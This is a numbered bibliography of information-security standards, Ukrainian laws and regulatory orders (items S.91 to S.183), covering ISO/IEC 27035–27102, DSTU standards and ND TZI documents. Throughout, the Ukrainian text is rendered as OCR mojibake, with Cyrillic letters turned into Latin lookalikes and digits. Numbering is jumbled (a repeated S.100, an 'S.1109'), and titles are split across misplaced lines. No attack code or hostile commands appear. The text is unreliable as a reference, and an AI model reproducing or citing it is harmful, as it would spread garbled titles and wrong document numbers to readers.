3axucTy. YnpasiiHHA iHIHAeHTaMu iHGopmaniiiHoi 6e3neku (JCTY ISO/IEC 27035-
1:2018 Indopmariitni TexHomorii. Meronu 3axucTy. YTpaBliHHS IHIMIEHTAMU
iHpopmariiinoi 0e3nexku. Yactuna 1. [Mpunuunu ynpasninas iHmuaeHtamu (ISO/IEC
27035-1:2016, IDT); JCTY ISO/IEC 27035-2:2018 IudopmariiiHi TeXHOJOTII.
Meroau 3axucty. YmpaBiiHHS 1HOMJAeHTaMu iHpopMmariitHoi Oe3neku. YactuHa 2.
HacraHoBa 110/10 mianyBaHHs Ta MiArOTOBKH J10 pearyBanHs Ha inmuaentu (ISO/IEC
27035-2:2016, IDT); ISO/IEC 27035-3:2020. [ndopmariiina TeXHOJIOTIs. Y TIpaBIiHHS
iHOnuaeHTamMu iHpopmariiaoi Oe3neku. Yactmna 3. HacraHoBu miomo oreparii
pearyBanns Ha iHnuaeHtu IKT; ISO/IEC CD 27035-4. Iudopmaniiini TeXHOJOTII.
VYrpasiinus iHUMaeHTaMu iHpopmaniinoi 6e3neku. Yactuna 4. Koopaunartis).

S.91. JCTY ISO/IEC 27036:2017 Iundopmariitai TexHojorii. Meroau
3axucty. [HpopmariiitHa Oe3neka y BimHOCHHAaX 13 moctadansHukamu (JICTY ISO/IEC
27036-1:2017 Tudopmariiini Texnomorii. Metoau 3axucty. [HdopmartiitHa 6e3neka y

BigHOCHHAX 13 mocradanbHukamu. Yactuaa 1. Ormsan ta nonstrsa (ISO/IEC 27036-
1:2014, IDT); ACTY ISO/IEC 27036-2:2017 Tudopmarmiiini TexHosorii. MeToau
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3axucTy. [Hdopmariiina OGe3neka y BiIHOCHMHAX 3 MOcTadajdbHUKaMu. YactuHa 2.
Bumoru (ISO/IEC 27036-2:2014, IDT); ACTY ISO/IEC 27036-3:2017 Indopmartiiini
TexHojorii. Meronu 3axucty. IHpopmamiiina Oe3nmexka y BiIHOCHMHAaX 3
nocradanbHukamu. YactuHa 3. HactaHoBu Mmoo O€3MEKW JIAHIIOTa MOCTavYaHHS
indopManiiHux Ta KomyHikamiiaux texHojoriii (ISO/IEC 27036-3:2013, IDT);
JCTY ISO/IEC 27036-4:2018 Indopmarmiiiai TexHoyorii. MeToau 3axucTy.
[ndopmariitna Oe3neka y BiJHOCHMHAX 3 mocTadaibHukamu. Yactuna 4. HactaHnoBa
o0 6e3neku xmMapaux mocayr (ISO/IEC 27036-4:2016, 1DT)).

S.92. JACTY ISO/IEC 27037:2017 Indopmamiitai TexHojorii. Meroau
3axucty. HactanoBu mansa imentudikamii, 30upaHHs, 3100yTTs Ta 30€peKeHHS
mudposux gokasis (ISO/IEC 27037:2012, IDT).

S.93. JICTY ISO/IEC 27038:2018 Iudopmarmiiini TexHoorii. Meroau
3axucty. Crierudikartis mudposoro penarysanns (ISO/IEC 27038:2014, IDT).

S.94. JCTY ISO/IEC 27039:2017 Iudopmariitai TexHojorii. Meroau
3axucTy. BuOupanHs, po3ropTaHHS Ta EKCIUTyaTyBaHHS CHCTEM BHSBJICHHS Ta
3aro6iranns BropraeuusM (IDPS) (ISO/IEC 27039:2015, IDT).

S.95. JCTY ISO/IEC 27040:2016 Indopmamiitai TexHomorii. Meroau
3axucty. besneka 30epiranns (ISO/IEC 27040:2015, IDT).

S.96. JCTY ISO/IEC 27041:2016 Iundopmariitai TexHojorii. Meroau
3axucTy. IlociOHMK 13 3a0e3reueHHs] NPUUHATHOCTI Ta aJICKBaTHOCTI METO/IIB
poscaigyBanus (ISO/IEC 27041:2015, IDT).

S.97. JACTY ISO/IEC 27042:2016 Iudopmariitai TexHojorii. Meroau
3axucty. HacraHoBu mono anamizy Ta iHteprperarii nupposoro gokazy (ISO/IEC
27042:2015, IDT).

S.98. JACTY ISO/IEC 27043:2016 Indopmamiitai TexHojorii. Meroau
3axucty. [IpuHnunu Ta npouecu posciiaysanss iHiuaeHtiB (ISO/IEC 27043:2015,
IDT).

S.99. JCTY ISO/IEC 27050-1:2018 Iudopmariitai TexHojorii. Meroau
3axucty. Enmextponne BussieHas (JJCTY ISO/IEC 27050-1:2018 Iudopmarriiini
TexHoJorii. Meroau 3axucty. Enektponne BusaBiends. Yactuna 1. Ormsig Ta mOHATTS
(ISO/IEC 27050-1:2016, IDT); ISO/IEC 27050-2:2018. IndopmariiiiHa TeXHOJIOTIS.
Enextponne Binkpurtsa. Yactuna 2. KepiBHUIITBO 3 YIpaBIiHHSA €JIEKTPOHHUM
Bigkputtam; JICTY ISO/IEC 27050-3:2018 Iudopmariitai TexHosorii. Metoau
3axucty. EnmektponHe BusBiacHHsA. YactmHa 3. 3Bif NpaBWII IS €JICKTPOHHOTO
sussienns (ISO/IEC 27050-3:2017, IDT); ISO/IEC 27050-4:2021. Iadopmarriiini
TexHoJorii — Enextponne Binkpurts — Yactuna 4. TexHiuHa TOTOBHICTb).

S.100. ISO/IEC 27099:2022. Iudopmariiini TexHosorii — [HppacTpykTypa
BIJIKpUTHUX KJTI0UiB — [IpakTuka Ta paMKu MO THKH.

S.101. ISO/IEC 27102:2019 «Information Security management — Guidelines
for cyber-insurance» («Ynpasminuas iHdopMariiiHoo Oe3mekor. IlociOHHMK 3
Ki0epCTpaxyBaHHD»).

S.102. ICTY T'OCT 28147:2009 Cucrema o0poOku iH(popmarlii. 3axuct
kpunrorpadiunuii. Anroputm kpuntorpadiunoro neperpopenns (OCT 28147-89).

S.103. ACTY ISO 31000:2018 Menemxment pusukiB. [lpuHnunu Ta
Hactarosu (I1SO 31000:2018, IDT).
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S.104.

JCTYVY IEC/ISO 31010:2013 KepyBaHHs pu3nkoM. MeTOAH 3arajibHOTO

ominoBanus pm3uky (IEC 31010:2019 Risk management — Risk assessment
techniques, IDT).

S.105.

CHCTCMMU.

S.106.
S.107.

JCT I'OCT 34.602-89 TexHiuHe 3aBIaHHS CTBOPEHHS aBTOMATH30BaHO1

3akoH Ykpainu «IIpo akpenurariito oprasi 3 OI[IHKH BIJTTOBITHOCTI».
3akon VYkpainu «IIpo [epkaBHy ciy>kOy CIELiaJIbHOTO 3B'SI3KYy Ta

3axuCTy iHpopMallii YKpaiHu».

S.108.
S.100.

3akoH Ykpaiau «IIpo aep:xaBHYy TaEMHULIIO.
3akon VYkpainu «lIpo Jlep>kaBHHMII KOHTPOJb 3a MIKHAPOJIHHUMHU

nepcaadyamMu TOBapiB BIICBKOBOT'O IMPU3HAYCHHA Ta HOHBiﬁHOFO BHUKOPHUCTAHH).

S.110.
S.111.

3akon Ykpainu «IIpo moctym g0 myOmaiuHoi iH(pOpMAaLii».
3akoH Ykpainu «lIpo eneKkTpoHHI JOKYMEHTH Ta €JIEKTPOHHUI

JIOKYMEHTOO0ITY.

S.112.

3axoH Ykpainu «IIpo enexTpoHH1 AOBipUl MOCIYTW», Ha 3MiHY 3aKOHY

VYkpainu «IIpo enexTpoHHMI TU(PPOBUIA MiITHUCY.

S.113.
S.114.

3akoH Ykpainu «[Ipo enekTpoHH1 KOMYHIKaIii».

3akon VYkpainu «IIpo 3axuctr iHpopmaiii B iH(OpMaIiiHO-

TEJIEKOMYHIKaIIITHUX CUCTEMAX.

S.115.
S.116.
S.117.
S.118.
TISJTBHOCTIY.
S.1109.
S.120.
S.121.

3akoH Ykpainu «lIpo 3aXuCT nepCoOHATbHUX JAHUX).

3akoH Ykpainu «IIpo iHpopmariiro».

3akoH Ykpainu «IIpo kpuTuuHy 1HOPACTPYKTYPY».

3akon VYkpainu «IIpo mineH3yBaHHS TEBHHUX BHJIB TOCIOAAPCHKOI

3axon Ykpainu «[Ipo o6opony Ykpainmy.
3akoH Ykpainu «IIpo ocBiTy».
3akoH Ykpainu «IIpo 0ocHOBHI 3acaju IepKaBHOTO HATJIS Y (KOHTPOJIIO)

y cepi rocro1apChKoi AiSITbHOCTIY.

S.122.

Ykpainuy».

S.123.
S.124.
S.125.
S.126.

3B'SI3KY».

S.127.
S.128.
S.129.
S.130.
S.131.

Tlonoxeuusa

3akon Ykpainu «IIpo ocHOBHI 3acanu 3abesneueHHs KibepOesneku

3akoH Ykpainu «IIpo HayKOBY 1 HAyKOBO-TEXHIUHY €KCIIEPTU3Y».
3akoH Ykpainu «[Ipo HaykoBoO-TexXHIYHY 1HPOPMAIIIIOH.

3akoH Ykpainu «IIpo HalioHanbHy 0e3neKy YKpaiHu.

3akon VYkpainu «lIpo HamionansHy cucteMy KOH(DIIEHIIHHOTO

3akoH Ykpainu «IIpo MeTposiorito Ta METpOJIOTIYHY TISTIBHICTEY.
3akoH Ykpainu «IIpo mpaBoBuil pe:kMM BOEHHOTO CTaHy».

3akoH Ykpainu «IIpo pamiogacToTHUM pecypc YKpaiHm».

3akoH Ykpainu «IIpo TenekoMmyHiKaiii.

Haka3z JICTC3I Cb Ykpainu Big 23.02.2002 Ne 9 «IIpo 3aTBepmxeHHs
PO JTO3BUIBHHUM TOPSAIOK MPOBEACHHS POOIT 3 TEXHIYHOTO 3aXHCTY

iH(MOopMaIIii AJ1 BIacHUX TOTPed», 3apeecTpoBanmii B MiHICTEpCTBI FOCTHUINT YKpaiHu
13.03.2002 3a No245/6533.

S.132.

Haxaz Anminictpanii Jepxcenen3s’szky Bin 22.03.2007 Ne 36 «IIpo

3arBep keHHsT [10J0KeHHS mpo MOpANOK po3poOJEHHS, NPUMHATTS, NEpEeriasay Ta
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CKAaCyBaHHSI MDXKB1JIOMYMX HOPMATUBHHUX JOKYMEHTIB CHCTEMH TEXHIYHOI'O 3aXUCTY
iH(dopmarlii», 3apeectpoBanuil B MinictepcetBi toctuili Ykpainu 04.04.2007 3a Neo
312/13579.

S.133. Haka3z Anaminictpamii Jepxcmenss’szky Big 26.03.2007 Ne 45 «Ilpo
3aTBepAkeHHs [lopsaKy OHOBIIEHHSI aHTHBIPYCHUX MPOrPaMHUX 3ac00iB, SIKI MalOTh
MO3UTUBHUI €KCIIEPTHUIN BUCHOBOK 3a pe3yJbTaTaMU JEP>KaBHOI eKCIEPTU3U B cepi
TEXHIYHOTO 3aXUCTy iH(DOpMaIii», 3apeecTpoBaHuil B MiHICTEpCTBI FOCTHUIIIT Y KpaiHH
10.04.2007 3a Ne 320/13587.

S.134. Haka3z Anaminictpamii [epxcner3s’s3ky Big 16.05.2007 Ne 86 «IIpo
3arBepKeHHs [lonoxxenns mpo JlepaBHU KOHTPOJb 32 CTAHOM TEXHIYHOTO 3aXUCTY
iHdopMaIi M yac AISUTBHOCTI Ha TepUTOPli YKpaiHM 1HO3EMHUX I1HCHEKIIHHUX
rpym», 3apeectpoBanuii B MinictepctBl roctumii Ykpainum 04.06.2007 3a Ne
577/13844.

S.135. Haka3z Anminictpamii Jepxcmenss’si3ky Bim 16.05.2007 Ne 87 «IIpo
3arBepkeHHs [lonoxxenHs rmpo JlepaBHUIT KOHTPOJIb 32 CTAHOM TEXHIYHOTO 3aXUCTY
iH(dopmari», 3apeectpoBanuii B Minictepcersi toctuiili Ykpainu 10.07.2007 3a No
785/14052.

S.136. Haka3z Anaminictpamii Jepxkcmenss’szky Big 16.05.2007 Ne 93 «Ilpo
3arBepKeHHs [lonoxkeHHs: po AepKaBHY €KCIEPTU3Y B cPpepl TEXHIYHOTO 3aXUCTY
iH(dopmarri», 3apeectpoBanuii B MinictepcerBi toctuiili Ykpainu 16.07.2007 3a No
820/14087.

S.137. Haka3z Anaminictpamii [epxcmemn3s’szky Big 29.05.2007 Ne 100 «IIpo
3aTBep/KeHHsT [HCTpyKIii mpo mopsiaok odopmiieHHS Ta ckiagaHHs JlepaBHOIO
CIIy0010 CIEIIaTbHOTO 3B’S3Ky Ta 3axucTy iHdopmalii YkpaiHu mMarepiaiiB IMpo
aJMIHICTPATUBHI TPABOMOPYIICHHS», 3apeecTpoBaHMii B MIHICTEPCTBI FOCTHIIIT
VYxpaian 12.06.2007 3a Ne 618/13885.

S.138. Haka3z Anminictpamii Hepxcnenss’si3ky Big 12.06.2007 Ne 114 «IIpo
3aTBepKEHHS [HCTPYKINT PO MOPSAOK MOCTayaHHS 1 BUKOPUCTAHHS KIIOYIB J0
3ac00iB KpunTorpadiuHoro 3axucTy iHQopmMallii», 3apeecTpoBanuii B MiHICTEpCTBI
foctuiii Yipaiau 25.06.2007 3a Ne 729/13996;.

S.139. Haka3z Anminictpamii Hepxcnemnss’si3ky Big 20.07.2007 Ne 141 «IIpo
3aTBepkeHHs [1oJ10eHHs TPOo MOPSIIOK PO3POOIECHHS, BUPOOHUIITBA Ta EKCIUTyaTallil
3ac001B KpUNTOrpadiuHOro 3axucTy iHQopMalii», 3apeecTpoBaHuii B MiHICTEpPCTBI
foctuiii Yipaiau 30.07.2007 3a Ne 862/14129.

S.140. Haka3z Anminictpamii Hepsxkcnenss’sizky Big 16.04.2008 Ne 64 «Ilpo
3arBepkeHHs [lopsaky popmyBanus Peectpy opranizaTopiB nepkaBHOT €KCIIEPTU3U
y cdepl TexXHIYHOTO 3axuCcTy iH(DopMaIllii Ta PeecTpy ekcriepTiB 3 MUTaHb TEXHIYHOTO
3aXHUCTy 1HPOpMaIii».

S.141. Haka3z Anaminictpamii epxcner3s’sizky Big 10.06.2008 Ne 94 «IIpo
3aTBepkeHHs [lopsiaky KoopauHalii JisJIbHOCTI OpraHiB Jep KaBHOI BIaJu, OpraHiB
MICIIEBOTO CaMOBPSITyBaHHSI, BIWCHKOBUX (OPMYBaHb, MIiIMPUEMCTB, YCTaHOB 1
oprasizaiiii He3aJeKHO Bia (OPM BIACHOCTI 3 MUTaHb 3aMO0ITaHHs, BUSBICHHS Ta
YCYHEHHS HACJIJIKIB HECAHKI[IOHOBAaHUX I WI0JI0 JACp’KaBHUX 1H(OpMaIitHUX
pecypciB B iH(poOpMaIiiHUX,  TENEKOMYHIKAIlliHUX Ta  1HQOpMalliiiHO-
TenekoMyHikauiiHux Cuctemaxy, 3apeecTpoBanuil B MiHiCTepCcTBI 1ocThLlii YKpaiHu
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07.07.2008 3a Ne 603/15294.

S.142. Haxa3z Anminictpamii epxcnenss’s3ky Bia 23.06.2008 Ne 100 «IIpo
3aTBepakeHHs [lonmoxkeHHsT mMpo AepxaBHY ekcrepTusy B chepi kpumnrorpadigHOro
3axucty iH(popmalii», 3apeectpoBanuii B MinicTepceTsi toctuiiii Ykpainu 16.07.2008
3a Ne 651/15342;.

S.143. Haxa3z Anminictpamii Hepxcnen3s’si3ky Big 29.11.2008 Ne 200 «IIpo
3atBep/keHHs CTaHIapTy HaAJaHHS aJMIHICTPATHBHOI TOCIYyTM 3 Oprasizarii
JepKaBHOI eKcepTu3u y cepi kpuntorpadiuHoro 3axucty iHPopMaIiin;.

S.144. Haka3z Anaminictpamii [epxcner3s’szky Big 11.03.2011 Ne 53 «IIpo
3aTBepakeHHs [lopsaKy HaaHHs BUCHOBKIB 1 TOTO/IXKEHHS €KCIIOPTY Ta THUMYACOBOTO
BHBE3CHHS TOBApiB BIMCHKOBOrO MpPHU3HAUEHHS 1 TMOABIMHOTO BUKOPHCTAHHSA, SKI
HAJIeKaTh 0 KpUNTOrpapidyHUX CHUCTEM, 3aC00IB KPUOTOrpadiyHOTO Ta TEXHIYHOTO
3axucTy 1HpopMaIllli abo MICTATh Y CBOEMY CKJIaJll Taki 3acO0W», 3apeeCcCTpPOBAHUI B
Minicrepctsi roctutii Yipainu 01.04.2011 3a Ne 437/19175.

S.145. Haka3z Anminictpamii Hepxcnenss’si3ky Big 18.12.2012 Ne 739 «IIpo
3arBep/keHHs Bumor g0 ¢dopmatiB  kpunrorpadiuHUX ~— MOBIAOMIIEHBY,
3apeecTpoBaHuil B MiHicTepcTBi rocTuiii Ykpaian 14.01.2013 3a Ne 108/22640;.

S.146. Haka3 Anaminictpamii Jepxkcren3s’s3ky Big 02.12.2014 Ne 660 «Ilpo
3arBep KeHHsT [lopsiaky OIIHKM CTaHy 3aXMINEHOCTI Jep>KaBHUX 1HGOpMAIiTHUX
pecypciB B iH(pOpMAIIiHUX,  TENEKOMYyHIKAallliHUX Ta  1H(QOpMaIiiiHO-
TeleKoMyHiKaliiHux CucteMax», 3apeecTpoBaHuii B MiHICTEpCTBI FOCTHINT YKpaiHu
28.01.2015 3a Ne 90/26535.

S.147. Haka3z Anaminictpamii Jepxcmen3s’s3ky Big 05.10.2017 Ne 547 «Ilpo
3aTBepKEHHS YHI(piKOBaHOT (popMU aKTa, CKIIAIEHOTO 3a pe3yJibTaTaMU MPOBEICHHS
MJIAHOBOTO (MO3aIJIaHOBOI0) 3aXO0Jy JAEpP:KaBHOTO HArsay (KOHTPOJIIO) IIOJ0
JOJIep KaHHS JIIEH31aTOM BHUMOT JIIEH3IMHUX YMOB Yy cdepl MpOBaIKEHHS
roCroAapchKOl MISUIBHOCTI 3 HaJAaHHS MOCIYT Yy raiy3l KpunTorpadiyHoro 3axucTy
iH(dOopMaIti (KpiM MOCITYT eNeKTPOHHOTO MUGPOBOTO MiMKCY) Ta TEXHIYHOTO 3aXUCTY
iHdopmalii 3a mepenikoMm, MmO Bu3HadaeTbes KaGinerom MiuicTpiB Ykpainm»
3apeectpoBanuii B MiHictepctsi roctuirii Yipainu 30.10.2017 3a Ne 1323/31191.

S.148. Cuinpamii Haka3z MinictepcTBa mudpoBoi Tpanchopmartii Yipainu ta
Anminictpanii Jepxcmenss’sizky 30.09.2020 Ne 140/614 «I1po BCTaHOBJICGHHS BUMOT
710 TEXHIYHUX 3aCc001B, MPOIIECIB X CTBOPEHHS, BUKOPUCTAHHS Ta (DYHKIIIOHYBaHHS Yy
cKJIaJll iH(opMaliiTHO-TEIEKOMYHIKAIlIMHUX CUCTEM MiJ] Yac HaIaHHS KBaJI1(PIKOBaAaHUX
€JIEKTPOHHUX JOBIPYUX MOCITYT», 3apEECTPOBaHUN B MiHICTEPCTBI IOCTHUIlT YKpaiHu
22 xoBtHs 2020 p. 3a Ne 1039/35322.

S.149. Haka3z Anminictpauii [epxcneuss’sizky Big 27.10.2020 Ne 687 «IIpo
3aTBEPKEHHS TEpeNiKy CTaHJapTIB Ta TEXHIYHUX crienudikaiii, J03BOJECHUX IJIs
peanizarliii B 3acobax kpunrorpadiqHoro 3axucty iHpopmariiin;.

S.150. Hakaz  MinicTrepcTBa  tocTHIli  YKpaiHu Ta  AnmiHicTpaiii
Hepxcnenzs’szky Big 20.08.2012 Ne 1236/5/453 «IIpo 3aTBEp/KEHHST BUMOT [0
dbopmariB, CTPYKTypH Ta MPOTOKOJIB, IO peali3ylOThCcs Yy HAIIWHUX 3acobax
€JIEKTPOHHOTO IU(POBOTO MIAMUCY», 3apPEECTPOBaHUM B MIHICTEPCTBI FOCTHIIIT
VYkpainu 20.08.2012 3a Ne1398/21710;.

S.151. Hakaz  MinictepctBa  tocTuiii  Ykpainm Ta  AaMmiHicTpamii
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Hepxcnen3s’s3ky Big 27.12.2013 Ne 2782/5/689 «IIpo 3arBepmkeHHS BHUMOI 0
anropuTMiB, hopMartiB Ta iHTEpPEiiciB, 10 peani3yrThes y 3acobax mudpyBaHHs Ta
HaJIMHUX 3aco0ax eNeKTPOHHOTO LHU(POBOrO MIAMUCY», 3apPEECTPOBAHUN B
Minictepetsi roctumii Ykpainu 27.12.2013 3a Ne 2227/24759;.

S.152. HA T3I 1.1-001-99 Texuiunuii 3axuct iHGOpMaIllii Ha MPOrpaMHO-
kepoBanux ATC 3arampHoro xopuctyBaHHs. OCHOBHI TOJIOXKEHHS, 3aTBEPIKCHUM
Haka3om JICTC3I CBY Big 28.05.1999 Ne 26;.

S.153. HJI T3I 1.1-002-99 3aranbHi MOJ0KEHHS 010 3aXKUCTy 1H(pOpMaIli B
KOMIT FOTEPHUX CHCTEMaX BiJl HECAaHKIIIOHOBAHOTO JOCTYITY, 3aTBEP/KECHUN HaKa30M
JCTC3I CBY Bix 28.04.1999 No 22;.

S.154. HA T3I 1.1-003-99 Tepminonoriss B ramy3i 3axucty iHpopMmarii B
KOMIT IOTEPHUX CHCTEMAaX BiJl HECAHKIIIOHOBAHOTO JOCTYITY, 3aTBEP/KECHUI HaKa30M
JNCTC3I CBY Bix 28.04.1999 No 22;.

S.155. HA T3I 1.4-001-2000 TumoBe MOJOXKEHHS MPO CIYyXOy 3aXHUCTy
iH(opMalrlii B aBTOMaTH30BaHUX cucTeMax, 3atBepmkenuit HakazoM JICTC3I CBY Bin
04.12.2000 Ne 53.

S.156. HA T3I 1.4-002-2008 Pamionokaropu HemiHidHI. Kiracudikarris.
PexoMeHnioBani wMeroau Ta 3aco0M  BUOPOOYBaHb, 3aTBEP/KCHHM HaKa3zoM
Anminictparii Jepxcmenss’s3ky Big 14.02.2008 Ne 32;.

S.157. HA T3I 1.5-001-2000 PamioBusiatoBaui. Kiracudikaris. 3araipHi
TEeXHIYHI BUMOTH, 3aTBepkeHuit Hakazom JICTC3I CBY Bix 13.06.2000 Ne 29.

S.158. HA T3I 1.5-002-2012 Knacudikatop 3aco0iB TEXHIYHOTO 3aXHCTy
iHpOopMaIlii, 3aTBepKeHNI Haka3oM AnmiHicTpartii Jlepsxcenen3s’sa3ky Big 29.08.2012
Ne 472.

S.159. H/I T311.6-002-2003 IpaBuna moOymaoBu, BUKIaAeHHS, OpOpMIICHHS Ta
MO3HAYEHHS HOPMATHUBHUX JTOKYMEHTIB CHUCTEMH TEXHIYHOTO 3aXUCTy 1H(opmarrii,
sarBepkennit HakazoMm JICTC3I CBY Bix 24.04.2003 Ne 41.

S.160. HJ] T3I 1.6-003-2004. CTtBOpeHHS KOMIUIEKCIB TEXHIYHOTO 3aXHUCTY
iHdopmarii Ha oO'ektax 1H(opmariiiHoi gisuibHOCTI. [IpaBuna po3pobIieHHs,
noOy0BH, BUKJIAJACHHS Ta 0)OpMIICHHS MOJIeTI 3arpo3 JjIs iHdopMariii.

S.161. HA T3I 1.6-005-2013 3axuct indopmaiiii Ha 06’ ekTax iHDOpMaIliitHOT
nismbHOCTI. [To0XKeHHST TIPO KaTeropitoBaHHS 00’ €KTIB, JIe IIUPKYJIIOE 1H(POpMaITis 3
OOMEXEHUM JIOCTYIIOM, IIO0 HE CTAHOBUTH JEP)KaBHOI TAEMHHII, 3aTBEPIKEHUN
Haka3zoM Anminictparii Jlepkenen3s’si3ky Bijg 15.04.2013 Ne 215;,

S.162. HJ T3I 2.3-001-2001 PagmioBusBiroBadi BHUMiprOBaJibHI. MeToam Ta
3acobu BurpoOyBaHb, 3atBepkennid Hakazom JICTC3I CBY Bix 27.02.2001 Ne 5;.

S.163. HA, T3I 2.3-002-2001 TexHuiyHuii 3axUCT MOBHOI iH(poOpMarIli B
CUMETPUYHUX B CHUMETPUYHUX aOOHEHTCHKHX AaHAJOTOBUX TENCPOHHHUX JIHIAX.
3aco0u MacuBHOTO TMPUXOBYBaHHS MOBHOI iH(opwmaiii. HemiHiiiHi aTeHoaTopu Ta
3aropojuKyBalibHl  PinbTpu. MeTonuka BUNPOOYBaHb, 3aTBEPDKCHHM HAKa30M
JNCTC3I CBY Bin 06.04.2001 Ne 11.

S.164. HA, T3I 2.3-003-2001 TexHuiyHuii 3axUCT MOBHOI iH(popMarli B
CUMETPUYHUX B CHUMETPUYHUX aOOHEHTCHKUX aHAJIOTOBUX TENEPOHHHUX JIHIAX.
3aco0u TMacMBHOTO MPUXOBYBaHHS MOBHOI 1H(opmarii. ['eHepatopu crnermiaibHuX
curHaiiB. Mertonuka BumpoOyBanb, 3arBep/keHuidt HakazoM JICTC3I CBY Bin
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06.04.2001 Ne 11;.

S.165. HA T3I 2.3-004-2001 PanpioBusBmOBaudl 1HAMKATOpHI. Metonu Ta
3aco0u BUNIpoOyBaHsb, 3aTBepmkennit HakazoMm [JCTC3I ChY Bix 09.04.2001 Ne 12H/1
T31 2.3-005-2001 PamioBusBioBayi maHopamHi. Meroau Ta 3aco0u BHUIPOOYBaHb,
satBepkennid HakazoMm JICTC3I CBY Big 11.09.2001 Ne 54,

S.166. HJI T3I 2.3-006-2001 PanioBusiBmtoBaui aHamizyBajibHi. MeToau Ta
3acobu BurpoOyBaHb, 3atBepmkeHuid Hakazom JICTC3I CBY Big 06.11.2001 Ne 64.

S.167. HA T3I 2.5-001-99 Texuiunuii 3axuct iHpoOpMaIllii Ha MPOrpaMHO-
kepoBanux ATC 3aranpHoro kopuctyBanus. Cneundikaiiii QyHKIIOHATBHUX MOCITYT
3axucty, 3aTBepmkennit HakazoM JICTC3I CBY Bix 28.05.1999 No 26.

S.168. HA T3I 2.5-002-99 Texuiunuii 3axuct iHpoOpMaIllii Ha MPOrpaMHO-
kepoBanux ATC 3aranbHoro kopuctyBaHHs. Creuudikaiii rapaHTii 3axucTy,
satBepkennii HakazoMm JICTC3I CBY Bix 28.05.1999 Ne 26.

S.169. HA, T3I 2.5-003-99 Texuiunuii 3axuct iHGoOpMaIllii Ha MPOrpaMHO-
kepoBaHux ATC 3arampHoro kopuctyBaHHs. Chnenu@ikamii AOBIPYMX OLIHOK
KOPEKTHOCT1 peanizamii 3axucrty, 3arBep/keHuid HakazoM JICTC31 CBY Bix
28.05.1999 Ne 26;.

S.170. HA T3I 2.5-004-99 Kpwutepii OIIHKM 3axXWIEHOCTI iHopMaIlii B
KOMIT FOTEPHUX CHUCTEMaX BiJl HECAHKIIIOHOBAHOTO JOCTYITY, 3aTBEPIKCHUN HaKa30oM
JICTC3I CBY Big 28.04.1999 Ne 22 (3mina Ne 1 Haka3z Bix 28.12.2012 Ne 806).

S.171. HA T3I 2.5-005-99 Knacudikalis aBTOMaTHU30BaHUX CHCTEM 1
CcTaHJapTH1 (YHKIIOHAIBHI Mpodisli 3aXUIEHOCTI 00poOIIOBaNIbHOI 1H(OpMAIIii Bif
HECaHKI[I0HOBAHOTO JocTymy, 3aTBepxernit HakazoM JJCTC3I CBY Bix 28.04.1999
Ne 22.

S.172. HA T3I 2.5-006-99 Knacudikatop 3acobiB  KOMiIOBAJIHHO-
PO3MHOXKYBAJIbHOIT TeXHIKH, 3aTBepkeHni HakazoMm JJCTC3I CBY Bix 26.07.1999 Ne
34;.

S.173. HJI T3I 2.5-008-2002 Bumorw i3 3axucty ciyx00Boi iHpopmarii Bif
HECaHKIIIOHOBAHOTO JIOCTYITY I1iJ1 9ac 0OpoOKH B aBTOMAaTU30BAHUX CHCTEMax Kjacy 2,
satBepkennii HakazoMm JJCTC3I CBY Bix 13.12.2002 Ne 84.

S.174. HJ T3I 2.5-010-2003 Bumoru g0 3axucty iHdopmaiiii WEB — ctopinku
BiJI HECAaHKIIOHOBAHOrO JaocTyny, 3arBep/keHuid Hakazom JICTC3I CBY Bix
02.04.2003 Ne 33.

S.175. HA T3I 2.6-001-2011 Tlopsimox mpoBeAeHHS pPOOIT 3 JAepKaBHOI
EKCIIepPTU3H 3aC001B TEXHIYHOIO 3aXUCTY 1H(POpMAIlii BT HECAHKLIIOHOBAHOT'O TOCTYILY
Ta KOMIUIEKCHUX CHUCTEM 3aXHUCTy 1H(popMmallii B iHYOopMaLiifHO-TEIEeKOMYHIKallIMHUX
Cucremax, 3aTBepakeHuld HakazoM AamiHictpamii [epxcenenss’s3ky Big 25.03.2011
Ne 65.

S.176. HA T3I 2.6-002-15 TIlopsgok 3icTaBieHHS (YHKIIOHAIBHUX
KoMItoHeHTiB Oe3neku, BusHauenux |SO/IEC 15408, 3 sumoramu HJI T31 2.5-004-99,
3aTBepKEHUN Haka3oM AamiHicTpariii epsxkcnenss’s3ky Big 27.04.2016 Ne 293;.

S.177. HA T3I 2.6-003-2015 Tlopsimok 3icTaBieHHS KOMIIOHCHTIB JOBIPH JI0
oesmeku, BusHaueHux ISO/IEC 15408, 3 Bumoramm HJ| T3I 2.5-004-99,
3aTBepKEHUI Haka3oM AamiHicTpaiii lepsxkcenenss’s3ky Big 27.04.2016 Ne 294;.

S.178. HJI T3I 2.6-013-2016 MeToanuHi BKa31BKHM 3 BUKOHAHHS 31CTaBICHHS
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pe3yJbTaTiB OI[IHIOBaHHS 3aco0iB 3aXUCTy 1HQoOpMaIlii BiJ HECAHKI[IOHOBAHOIO
nocrymy Ha BianosigHicts BumoraM ISO/IEC 15408 3 sumoramu HJI T31 2.5-004-99,
3aTBepKeHU HakazoM AamiHicTparii Jepxcnens3s’si3ky Big 27.04.2016 Ne 295;.

S.179. HA T3 2.7-001-99 Texniunuii 3axuct iHdoOpMalii B MpOrpaMHO-
kepoBanux ATC 3arampHOro kopuctyBaHHs. [lopsimok BHUKOHaHHS — poOIT,
3atBepkenuit HakazoMm JJCTC3I CBY Bix 28.05.1999 Ne 26;.

S.180. HJ] T3I 2.7-002-99 MeroanyHi BKa3iBKA 3 BUKOPHUCTaHHS 3aco0iB
KO FOBAJIbHO-PO3MHOKYBAIIbHOIT TeXHIKH, 3aTBepkeHnii HakazoMm JICTC3I CBY Bin
26.07.1999 Ne 34.

S.181. HJI T3I 2.7-009-2009 MeroauuHi BKa3iBKH 3  OIIHIOBAHHS
(GyHKI[IOHaTBPHUX MOCIyr ©Oe3meku B 3acobax 3axucty iHpopmamii B
HECaHKI[I0HOBAHOTO JOCTYILY, 3aTBEPIKEHUI HAKa30M AnmiHicTparii
Hepxcnen3s’si3ky Bif 24.07.2009 Ne 172;.

S.182. HJ] T3I 2.7-010-2009 Metoanuni BKa3iBKM 3 OLIHIOBaHHS PIBHS
rapaHTii KOPEKTHOCTI peatizallii PyHKI[IOHAIBHHUX MOCITYT O€3IMEeKH B 3ac00ax 3aXUCTy
iH(dOopMaIlii BiJl HECAHKI[IOHOBAHOTO JIOCTYITY, 3aTBEPXKEHUI HaKa30M AIMiIHICTpaIlii
Hepsxcnenss’si3ky Big 24.07.2009 Ne 172,

S.183. HJ T3I 2.7-011-2012 3axwuct indopmariii Ha 00’exTax iHGOpMaIIHHOT
